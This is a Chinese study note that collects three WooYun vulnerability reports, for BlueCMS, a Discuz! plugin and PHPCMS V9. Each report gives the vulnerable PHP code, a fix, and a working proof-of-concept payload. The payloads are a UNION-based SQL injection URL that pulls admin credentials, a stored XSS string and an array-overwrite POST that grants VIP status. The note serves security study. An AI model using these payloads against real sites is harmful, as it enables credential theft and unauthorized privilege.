以下内容均来自乌云漏洞平台,这里以笔记的形式进行记录并分享,内容会小幅度的增删。
漏洞标题1: BlueCMS v1.6 sp1 ad_js.php SQL注入漏洞
1.描述:
缺陷编号: WooYun-2010-00141
漏洞类型: SQL注射漏洞
Tags标签: php+数字类型注射
漏洞简要:BlueCMS v1.6 sp1 某页面SQL注入漏洞
2.详细说明
缺陷文件:ad_js.php
漏洞成因:
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
//根目录下其他文件都做了很好的过滤,对数字型变量几乎都用了intval()做限制,唯独漏了这个文件,居然只是用了trim()去除头尾空格。。
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id); //直接代入查询。。汗。
漏洞证明:
http://localhost/cms/ad_js.php?ad_id=1%20and%201=2%20union%20select%201,2,3,4,5,concat(admin_name,0x7C0D0A,pwd),concat(admin_name,0x7C0D0A,pwd)%20from%20blue_admin%20where%20admin_id=1
url解码后:
http://localhost/cms/ad_js.php?ad_id=1 and 1=2 union select 1,2,3,4,5,concat(admin_name,0x7C0D0A,pwd),concat(admin_name,0x7C0D0A,pwd) from blue_admin where admin_id=1
右键查看源代码得到返回数据。
修复方案:
$ad_id = !empty($_GET['ad_id']) ? intval($_GET['ad_id']) : '';
补充说明:
漏洞标题2: Discuz!7.2/X1 第三方插件SQL注入及持久型XSS漏洞
1.描述:
缺陷编号: WooYun-2010-00146
漏洞类型: SQL注射漏洞
Tags标签: php+数字类型注射 持久型xss
漏洞简要:Discuz!7.2/X1 第三方插件SQL注入及持久型XSS漏洞。
SQL注入比较鸡肋,要求GPC为off(目前这样的网站几乎绝版了)
XSS因为是持久型的,只要管理员打开此应用即会触发。利用XSS怎么操作就见仁见智了。
2.详细说明
由Discuz!认证的(http://addons.discuz.com/workroom.php)第三方开发团队“潮流少年工作室 Teen Studio”出品的心情墙插件(http://www.discuz.net/forum.php?mod=viewthread&tid=1632898),因变量未初始化及过滤不严导致SQL注入及跨站脚本漏洞。
moodwall.inc.php
SQL注入,除下面代码这一处外,本文件还有很多处这样的或是$_POST得到后直接用的情况。惨不忍睹。
elseif($action == 'edit_mood' && moodid) {
//moodid未初始化,直接代入sql查询
$check = $db->result_first("SELECT * FROM {$tablepre}moodwall WHERE id='$moodid' AND uid='$discuz_uid'");
if(!$check || !$moodid) {
showmessage('moodwall:moodwall_inc_php_2', 'plugin.php?id=moodwall&action=user_mood');
}
$sql = "SELECT * FROM {$tablepre}moodwall WHERE id='$moodid'";
$query = $db->query($sql);
$moodlist_edit = array();
while($mood_edit = $db->fetch_array($query)) {
$moodlist_edit[] = $mood_edit;
}
XSS--->(注:不知道作者为什么在这里标注xss,没看出下面的代码有xss漏洞)
$uid=$_POST[uid];
$username=$_POST[username];
$bgpic=$_POST[bgpic];
$mood=$_POST[mood];
$message=$_POST[message];
$dateline=time();
//$_POST得到数据直接入库,前端出库代码也没有做过滤,这里就不贴了。
$db->query("INSERT INTO {$tablepre}moodwall (uid,username, bgpic, mood, message, dateline) VALUES ('$uid', '$username', '$bgpic', '$mood', '$message', '$dateline')");
漏洞证明:
随意找一个安装此应用的网站:
/plugin.php?id=moodwall&action=edit_mood&moodid=2'
发表心情处直接插入html代码
"><script>alert(/xss/)</script>
修复方案:
过滤啊过滤,初始化啊初始化。
强烈建议Discuz!团队对第三方的应用做严格的审查后再在自己的官方论坛上发布。Discuz!败在插件上也不是一次两次了。
补充说明:
php中双引号下加花括号可以解析变量
变量的初始化
变量的初始化是给变量设置一个默认值(或者是需要的值),初始化的过程中PHP会给变量分配存储空间以及将变量值所在存储空间地址保存在变量中。
<?php
$a = 1; // 初始化一个整形变量
?>
虽然在PHP中不需要初始化变量,但对变量进行初始化是个好习惯。未初始化的变量具有其类型的默认值
● 布尔类型的变量默认值是 FALSE
● 整形和浮点型变量默认值是零
● 字符串型变量(例如用于 echo 中)默认值是空字符串
● 数组变量的默认值是空数组
使用未初始化的变量会发出 E_NOTICE错误,但是在向一个未初始化的数组附加单元时不会。
依赖未初始化的变量的默认值在某些情况下会有问题,比如在之后的编码中我们需要经常的将一个文件通过include包含到当前文件,如果两个文件中有相同的变量名,此时的变量值则不是我们需要的默认值了。另外在PHP 5.4.0之前的版本中把 register_globals打开是一个主要的安全隐患。在PHP 5.4.0之后该配置已被移除。
漏洞标题3: PHPCMS V9 通行证注册缺陷
1.描述:
缺陷编号: WooYun-2011-01379
漏洞类型: SQL注射漏洞
Tags标签: 权限绕过 设计缺陷 php配置不当 变量覆盖 变量未初始化
漏洞简要:通过通行证注册用户可以直接注册VIP会员。
2.详细说明
if ($action == 'member_add') {
$userinfo['phpssouid'] = isset($arr['uid']) ? $arr['uid'] : exit('0');
$userinfo['encrypt'] = isset($arr['random']) ? $arr['random'] : exit('0');
$userinfo['username'] = isset($arr['username']) ? $arr['username'] : exit('0');
$userinfo['password'] = isset($arr['password']) ? $arr['password'] : exit('0');
$userinfo['email'] = isset($arr['email']) ? $arr['email'] : '';
$userinfo['regip'] = isset($arr['regip']) ? $arr['regip'] : '';
$userinfo['regdate'] = $userinfo['lastdate'] = SYS_TIME;
$userinfo['modelid'] = 10;
$userinfo['groupid'] = 6;
$userid = $db->insert($userinfo, 1);
if($userid) {
exit('1');
} else {
exit('0');
}
}
$userinfo数组没有初始化,可以直接post userinfo[vip]这样的表单直接覆盖数组。
漏洞证明:
$userinfo数组没有初始化,可以直接POST userinfo[vip]=1这样的表单直接覆盖数组。
修复方案:
初始化$userinfo数组
补充说明:
这里说的还是不够清楚,没办法,原文章只有这些,也就是说这里给我们提供了这么一个思路,以后注意一下,经验丰富了以后自然水到渠成。